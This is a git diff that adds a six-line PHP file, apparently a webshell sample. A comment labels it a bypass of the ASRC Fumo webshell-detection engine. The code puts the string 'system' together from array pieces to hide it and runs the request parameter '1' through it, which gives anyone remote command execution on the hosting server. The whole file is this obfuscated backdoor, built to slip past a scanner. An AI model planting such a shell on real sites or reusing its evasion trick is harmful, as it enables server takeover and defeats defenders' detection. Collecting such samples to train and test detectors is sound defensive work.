diff --git a/php/system2022-08-22-4.php b/php/system2022-08-22-4.php
new file mode 100644
index 0000000..403160d
--- /dev/null
+++ b/php/system2022-08-22-4.php
@@ -0,0 +1,6 @@
+<?php
+//ASRC伏魔引擎bypass
+$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
+$a = join($result);
+array_map($a,(array)$_REQUEST['1']);
+?>